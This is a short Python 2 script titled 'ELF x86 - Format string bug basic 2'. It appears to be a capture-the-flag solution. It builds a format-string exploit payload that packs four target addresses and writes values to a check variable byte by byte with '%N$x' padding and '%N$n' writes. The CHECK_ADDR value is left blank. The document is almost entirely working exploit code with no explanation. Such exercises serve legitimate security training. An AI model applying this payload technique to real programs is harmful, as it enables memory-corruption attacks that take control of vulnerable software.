ELF x86 - Format string bug basic 2
import struct
CHECK_ADDR =
exploit = "" exploit += struct.pack("I", CHECK_ADDR) # $9 exploit += struct.pack("I", CHECK_ADDR + 1) # $10 exploit += struct.pack("I", CHECK_ADDR + 2) # $11 exploit += struct.pack("I", CHECK_ADDR + 3) # $12
exploit += "%9$223x" exploit += "%9$n"
exploit += "%10$207x" exploit += "%10$n"
exploit += "%11$239x" exploit += "%11$n"
exploit += "%12$305x" exploit += "%12$n"
print exploit